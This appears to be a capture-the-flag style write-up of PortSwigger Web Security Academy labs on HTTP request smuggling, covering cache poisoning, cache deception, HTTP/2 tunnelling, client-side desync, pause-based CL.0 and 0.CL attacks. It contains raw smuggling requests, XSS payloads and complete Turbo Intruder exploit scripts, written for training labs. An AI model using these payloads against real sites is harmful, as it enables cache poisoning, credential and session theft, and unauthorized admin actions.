Labs Covered
This write-up focuses on the following EXPERT-level labs from the PortSwigger Web Security Academy related to HTTP Request Smuggling:
16 Exploiting HTTP request smuggling to perform web cache poisoning
This lab demonstrates how request smuggling can be used to poison cache entries, causing the cache to serve malicious responses to other users.
17 Exploiting HTTP request smuggling to perform web cache deception
This lab shows how request smuggling can be leveraged to trigger web cache deception attacks, exposing sensitive resources to unintended caching.
18 Bypassing access controls via HTTP/2 request tunnelling
This lab demonstrates how HTTP/2 tunneling can be abused to bypass access controls using request smuggling techniques.
19 Web cache poisoning via HTTP/2 request tunnelling
This lab shows how attackers can combine HTTP/2 tunneling with cache poisoning to inject malicious responses into cached content.
20 Client-side desync
This lab covers client-side desynchronization attacks that occur when inconsistencies between client and server request parsing lead to vulnerabilities.
21 Server-side pause-based request smuggling
This lab demonstrates advanced request smuggling using deliberate pauses to manipulate server request parsing behavior.
22 Server-side CL.0 request smuggling
This lab demonstrates request smuggling vulnerabilities caused by inconsistent handling of the `Content-Length` header. The front-end server honors the header while the back-end server ignores it for specific endpoints, allowing an attacker to smuggle requests and gain unauthorized access to the admin panel.
LAB 16 - Exploiting HTTP request smuggling to perform web cache poisoning
Lab Description
Solution
Access the lab and lookig at the post 5 we can see that next post link which will redirect us to next post of website
Sending the red mark request to repeater.
We can see that /post/next?postId=5 post id is appended to url
Observe that you can use this request to make the next request to the website get redirected to /post on a host of your choice.
Payload:
POST / HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 129
Transfer-Encoding: chunked
0
GET /post/next?postId=3 HTTP/1.1
Host: anything
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
x=1
Go to your exploit server, and create a text/javascript file at /post with the contents: alert(document.cookie)
Poison the server cache by first relaunching the previous attack using your exploit server’s hostname as follows:
Then fetch /resources/js/tracking.js by sending the following request:this will get smuggled request from above request and give it to the below request which will generate alert
Confirm that the cache has been poisoned by repeating the request to tracking.js several times and confirming that you receive the redirect every time.
If the attack has succeeded, the response to the request should be a redirect to your exploit server.
When succesfully cache is poisoned reload the website and alert will be generated and lab is solved
As we can see when alert is generated lab is solved
LAB 17 - Exploiting HTTP request smuggling to perform web cache deception
Lab Description
Solution
In http history Browser to the lab URL and the traffic will start flowing into the proxy logs. Grab the GET request to / and send that to repeater.
Changing request to Post and adding body postid=6 and changing method to http/1.1 to know that request smuggling is possible in the request or not
First, we need to determine which type of HTTP request smuggling. Like CL.TE (Front-end uses Content-Length header, back-end uses Transfer-Encoding header) or TE.CL (Front-end uses Transfer-Encoding header, back-end uses Content-Length header). So we have identfied it been using CL.TE:
Attack request:
POST/HTTP/1.1Host:0a7b0027039cfac0c0ef869700c10027.web-security-academy.net
Content-Type:application/x-www-form-urlencoded
Content-Length:49
Transfer-Encoding:chunked
0
GET /404pls HTTP/1.1
X-Foo: x
I have used same tab for attack and to identified you must used two tab one for attack and one for normal request to identified smuggling As you can see, our second time request’s response returns a 404 status code, which means the web application is vulnerable to CL.TE HTTP request smuggling.
As you can see, both /resources/js/tracking.js and /resources/images/blog.svg has implemented web cache.
That being said, we can try to poison those cache later.
/resources/js/tracking.js
resources/images/blog.svg
Login as user wiener:
After we logged in, we can view our API key.
Armed with above information, we can try to leverage HTTP request smuggling to perform web cache deception in order to view victim’s API key!
To do so, we can first smuggle a request that returns some sensitive user-specific content:
POST/HTTP/1.1Host:0a7b0027039cfac0c0ef869700c10027.web-security-academy.net
Content-Type:application/x-www-form-urlencoded
Content-Length:39
Transfer-Encoding:chunked
0
GET /my-account HTTP/1.1
X-Foo: x
The next request from another user that is forwarded to the back-end server will be appended to the smuggled request, including session cookies and other headers. For example:
In our case the cache request was /resources/js/tracking.js
We can then visits the static URL and receives the sensitive content that is returned from the cache. An important caveat here is that we doesn’t know the URL against which the sensitive content will be cached, since this will be whatever URL the victim user happened to be requesting when the smuggled request took effect.
We have use both blog.svg and tracking.js but we get account info of admin from tracking.js.
We found administrator’s API key in /resources/js/tracking.js Let’s submit that! AND LAB IS solved
LAB 18 - Bypassing access controls via HTTP/2 request tunnelling
Lab Description
Solution
In this Lab, the Front-End downgrades HTTP/2 requests and fails to properly sanitize incoming headers. To solve the lab, we are required to compromise the admin and delete the user Carlos. Admittedly, i found this type of vulnerability a bit difficult to detect and defend. More so, this kind of vulnerability can be highly impactful if you come across it in a real pentest/bug-bounty.
The Approach
First we begin with recon. Observe that the application has a search feature that is reflected client side and a comment section
Proxy all the request to burp.
Take note of the content-length as this will come in handy during the last bits of the lab.(ESPECIALLY SEARCH)
To prove that this vulnerability exists, we will try to inject headers with CRLF on the root of the application while keeping the request to HTTP /2 and point it to a host header that does not exist (say test.com).
We get a timeout connecting to test.com. With that in mind, we need to find an endpoint that might leak internal headers. In this case, i found the search engine functionality to be the best bet.
Change the request method to post.
Remove the Content-Length and the search=hacker as the front-end will ignore the cl and as for the search parameter we will introduce it in the inspector tab.
We get the cookie value revealed in the response, this means that we can reveal more headers if we increase the value of the content-length.
Setting the Content-Length to 140, we get more internal headers revealed.
We can use these internal headers to login as admin.
The Exploit
We try accessing the admin panel using the internal headers we retrieved as shown above. Notice some alterations i made.
- X-SSL-VERIFIED: means that we are verified,unlike the 0 which was previously used. 2 X-SSL-CLIENT-CN: stands for Common Name. in this instance the name should be administrator.
We get a response for the front page and not that of the admin page. What happens if we change the request method from GET to POST,PUT,HEAD. Using a HEAD request to the home page of the application we receive a very juicy error message.
“Server Error: Received only 3608 of expected 8760 bytes of data” This means, the path / renders 8760 but the server only received 3608 bytes of data. We can work around this by identifying a path with 3608 bytes or less. We try path /admin
We still do not get enough response for the admin. This is because the content-length for the admin path is still too small.
We need to identify a path with more bytes than 2790 yet less than 3608. If you recall from the first recon, the /?search=hacker had 3406 bytes, that may work fine.
We get the admin panel. With little efforts,we can now delete the user carlos.
Sending above requet will solved the lab
LAB 19 - Web cache poisoning via HTTP/2 request tunnelling
Lab Description
Solution
Here, we will work around on how we can poison the cache in such a way that when the victim visits the home page, their browser executes alert(1).
A victim user will visit the home page every 15 seconds.
In this scenario, the front end does not reuse the connection to the back-end server, so it isn’t vulnerable to a classic request smuggling attack. The only way around it is through a request tunneling attack.
This vulnerability is rampant in many web applications I have come across.
The Approach
We will start by confirming that the request smuggling attack works by smuggling a request to an end-point that does not exist.
We can do this as follows:
We get a 404 not found, and this is POC that vulnerability exists.
Exploitation
To exploit this, we can add a cache buster parameter that we can use only us to confirm that the smuggled request is working. if it works we can remove the cache parameter to smuggle the request to the actual front page.
I will demonstrate all these with screenshots.
As you can see, we introduced an arbitrary path /?cachebuster=1 HTTP/1.1 and smuggled a GET request to /post?postId=9 We expected to view the content of the post but instead we receive the contents of the home page.
This is because the web app has a blind request-smuggling vulnerability since the front end is reading the back-end result following what the content-length telling it, and that’s the home page.
However we can turn this attack to a non-blind attack by changing the request method from GET to Head. This works because a HEAD request makes the front-end to read from the headers and not the content-length.
Notice that we now get the request headers for our smuggled request. However, there is a catch to this that you should understand. If you send a request with a lesser content length than that of the home page, you get a timeout.
The web server expected 8350 bytes of character but instead got 11 bytes only. Now we need to identify a sink that reflects user input in the response and and inject our JavaScript.
To achieve this, find a path to a resource and delete a couple of directories until you find a 302 redirect to the specified resource path which we can inject our JavaScript payload.
And it works!!!
We encounter the same problem as before. The bytes expected from the smuggled request were lesser than that of the home page. So we need to add more bytes to it. We need to print at least 8800 A characters. We do so as follows.
We get the response as expected.
To poison the home page, we need to get rid of the ?cachebuster=2. simply leave the path blank.
And lab is solved
LAB 20 - Client-side desync
Lab Description
Overview: Client-Side Desync (CSD) Attacks
A Client-Side Desync (CSD) attack occurs when a victim’s browser becomes desynchronized with the target web server, as opposed to traditional request smuggling which involves desynchronization between front-end and back-end servers.
How It Works
Some web servers respond to POST requests without reading the full body. If the browser reuses the same connection for additional requests, it can result in a client-side desync vulnerability.
Attack Flow:
- The victim visits a malicious web page containing attacker-controlled JavaScript.
- The JavaScript sends a crafted
POSTrequest to the vulnerable site, leaving part of the request (the “prefix”) in the socket buffer. - The server responds to the request but leaves the prefix unprocessed in the TCP/TLS socket.
- The browser sends a second request using the same connection.
- This follow-up request gets appended to the original malicious prefix, triggering unintended behavior on the server.
Unlike traditional request smuggling, CSD attacks do not require multiple servers. Even a single-server architecture can be vulnerable.
Important Notes
- CSD requires HTTP/1.1. Most browsers prefer HTTP/2, so the attack will only work if the server does not support HTTP/2.
- A possible exception is when the victim accesses the website through a proxy that only supports HTTP/1.1.
Testing for Client-Side Desync Vulnerabilities
To successfully identify and exploit CSD, follow this structured workflow:
- Probe for desync vectors using Burp Suite.
- Confirm the desync vector behavior in Burp.
- Build a PoC (Proof of Concept) to test the desync in a real browser.
- Identify a gadget – a response or behavior that can be manipulated for exploitation.
- Construct a working exploit in Burp.
- Replicate the exploit in the browser.
Both Burp Scanner and the HTTP Request Smuggler extension can help automate some of these tasks. However, understanding the manual process is crucial for mastering CSD attack techniques.
Solution
In the request to the home page, add a content-length value greater than the len of the body, we see that the request is still normal and returns 302 to/en
Try smuggling like this:
Check comment at postId 9 -> successfully “captured” another user’s request
Payload exploits client desync as follows
Note: “cors” to trigger cors error block follow redirect
Set cookies again and solve the lab problem
Let’s take a look at the redirect mentioned above, try setting it up with mode. no-corsWe see that the “caught” request will look like this:
Try pretending to be a victim and test, we have the Network tab as follows:
LAB 21 - Server-side pause-based request smuggling
Lab Description
Solution
Exploring the app and then sending get request to repeate ,We can also see resources request in red highlight.
Identify a desync vector
In Burp, notice from the Server response header that the lab is using **Apache 2.4.52**. This version of Apache is potentially vulnerable to pause-based CL.0 attacks on endpoints that trigger server-level redirects.
In Burp Repeater, try issuing a request for a valid directory without including a trailing slash, for example, GET /resources. Observe that you are redirected to /resources/.
Right-click the request and select Extensions > Turbo Intruder > Send to Turbo Intruder.
In Turbo Intruder, convert the request to a POST request (right-click and select Change request method).
HTTP Request Smuggling - Access Admin Panel via Keep-Alive Header
Steps:
-
Change the Connection header to
keep-alive. -
Add a complete
GET /adminrequest to the body of the main request.
Example request:
POST /resources HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: CORRECT
GET /admin/ HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
- In the Python editor panel, enter the following script to queue the requests with a 61-second pause after the headers:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=500,
pipeline=False
)
engine.queue(target.req, pauseMarker=['\r\n\r\n'], pauseTime=61000)
engine.queue(target.req)
def handleResponse(req, interesting):
table.add(req)
Note:
At the end of the smuggled request, ensure you include two \r\n line breaks. Without these trailing CRLF characters, the server will not correctly interpret the smuggled request and may not grant access to the admin panel.
Launch the attack. Initially, you won’t see anything happening, but after 61 seconds, you should see two entries in the results table: ○ The first entry is the POST /resources request, which triggered a redirect to /resources/ as normal. ○ The second entry is a response to the GET /admin/ request. Although this just tells you that the admin panel is only accessible to local users, this confirms the pause-based CL.0 vulnerability.
In Turbo Intruder, go back to the attack configuration screen. In your smuggled request, change the Host header to localhost and relaunch the attack. After 61 seconds, notice that you have now successfully accessed the admin panel.
Study the response and observe that the admin panel contains an HTML form for deleting a given user. Make a note of the following details:
• The action attribute (/admin/delete).
• The name of the input (username).
• The csrf token
We also copy csrf and cookie
We render response to know how it look like we can see that it is taking name of user to delete.
Go back to the attack configuration screen. Use these details to replicate the request that would be issued when submitting the form. The result should look something like this:
POST /resources HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=YOUR-SESSION-COOKIE
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: CORRECT
POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Type: x-www-form-urlencoded
Content-Length: CORRECT
csrf=YOUR-CSRF-TOKEN&username=carlos
To prevent Turbo Intruder from pausing after both occurrences of \r\n\r\n in the request, update the pauseMarker argument so that it only matches the end of the first set of headers, for example:
pauseMarker=['Content-Length: CORRECT\r\n\r\n']
Launch the attack.
After 61 seconds, the lab is solved.
lab is solved.
LAB 22 - CL.0 request smuggling
Lab Description
Solution
Beginner-Friendly Explanation: 0.CL Request Smuggling
Simple Analogy
Imagine two people processing a multi-page letter:
- The first person (front-end server) sees “End of letter” followed by
Content-Length: 0on the first page. They think the letter is finished and forward any remaining pages without reading them. - The second person (back-end server) ignores that and sees extra content with
Content-Length: 4. They treat the next page as a completely new, separate letter.
If an attacker hides malicious instructions on that “extra” page, the back-end will process them as a legitimate new request. This is 0.CL request smuggling — a desynchronization attack where the front-end and back-end disagree on request boundaries due to how they handle Content-Length: 0.
(For deeper details, see James Kettle’s research: HTTP/1.1 Must Die.)
Initial Reconnaissance in Burp Suite
- Configure your browser to proxy through Burp Suite and access the lab.
- Browse the homepage and several static pages, capturing all requests in the HTTP history.
- Examine responses for unusual headers, particularly
Content-LengthandTransfer-Encoding.
Confirming 0.CL Desync Behavior
Before crafting a full exploit, verify that the back-end processes smuggled content when Content-Length: 0 is used.
Manual Test in Repeater (Grouped Tabs):
- Create this combined request:
POST / HTTP/1.1 Host: <LAB_HOST> GET /404 HTTP/1.1 Host: <LAB_HOST>(Note: No body after the empty POST; the GET follows directly.)
- Send the full payload.
- If the back-end processes the
GET /404(e.g., returns 404 or anomalous behavior), 0.CL desync is confirmed.
This step ensures the back-end treats appended content as a new request — crucial before proceeding.
Finding the XSS Vulnerability
During scanning, an informational issue like “User agent-dependent response” may appear.
Perform a targeted active scan on the User-Agent header insertion point. This quickly reveals reflected XSS in requests to /post?postId=8, where the User-Agent value is echoed unsafely.
Exploiting 0.CL Request Smuggling
Manual exploitation is unreliable due to timing and double-desync requirements. Use Turbo Intruder with James Kettle’s template script for reliability.
- Send a fresh
GET /request to Turbo Intruder.
- Load the example script:
examples/0cl-exploit.py.
Key Customizations (Tailored for This Lab):
- Early Response Gadget (stage1): Use a static resource path for stability:
POST /resources/css/anything HTTP/1.1 Host: '''+host+''' Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length : %s(Subpaths like
/resources/css/often work better than root paths.) - Smuggled Payload (containing XSS):
GET /post?postId=8 HTTP/1.1 User-Agent: a"/><script>alert(1)</script> Content-Type: application/x-www-form-urlencoded Content-Length: 5 x=1 - stage2_chopped (to maintain connection state):
Some servers reject bodiless GETs, so use a method like OPTIONS:
OPTIONS / HTTP/1.1 Content-Length: 123 X: Y - Optional Auto-Stop on Success:
if req.label == 'victim' and 'Congratulations' in req.response: req.engine.cancel()
Full Customized Turbo Intruder Script
# Based on https://portswigger.net/research/http1-must-die
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=10,
requestsPerConnection=1,
engine=Engine.BURP,
maxRetriesPerRequest=0,
timeout=15
)
stage1 = '''POST /resources/css/anything HTTP/1.1
Host: '''+host+'''
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length : %s
'''
smuggled = '''GET /post?postId=8 HTTP/1.1
User-Agent: a"/><script>alert(1)</script>
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
x=1'''
stage2_chopped = '''OPTIONS / HTTP/1.1
Content-Length: 123
X: Y'''
stage2_revealed = '''GET /404 HTTP/1.1
Host: '''+host+'''
User-Agent: foo
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
'''
victim = '''GET / HTTP/1.1
Host: '''+host+'''
User-Agent: foo
'''
# Do not edit below this line
if '%s' not in stage1:
raise Exception('Please place %s in the Content-Length header value')
if not stage1.endswith('\r\n\r\n'):
raise Exception('Stage1 request must end with a blank line and have no body')
while True:
engine.queue(stage1, len(stage2_chopped), label='stage1', fixContentLength=False)
engine.queue(stage2_chopped + stage2_revealed + smuggled, label='stage2')
engine.queue(victim, label='victim')
def handleResponse(req, interesting):
table.add(req)
# Double-desync attacks can take time!
if req.label == 'victim' and 'Congratulations' in req.response:
req.engine.cancel()
Launch the attack. It typically solves the lab in seconds to a minute by smuggling the XSS payload into the victim’s (Carlos’s) homepage request, triggering alert(1) in their browser.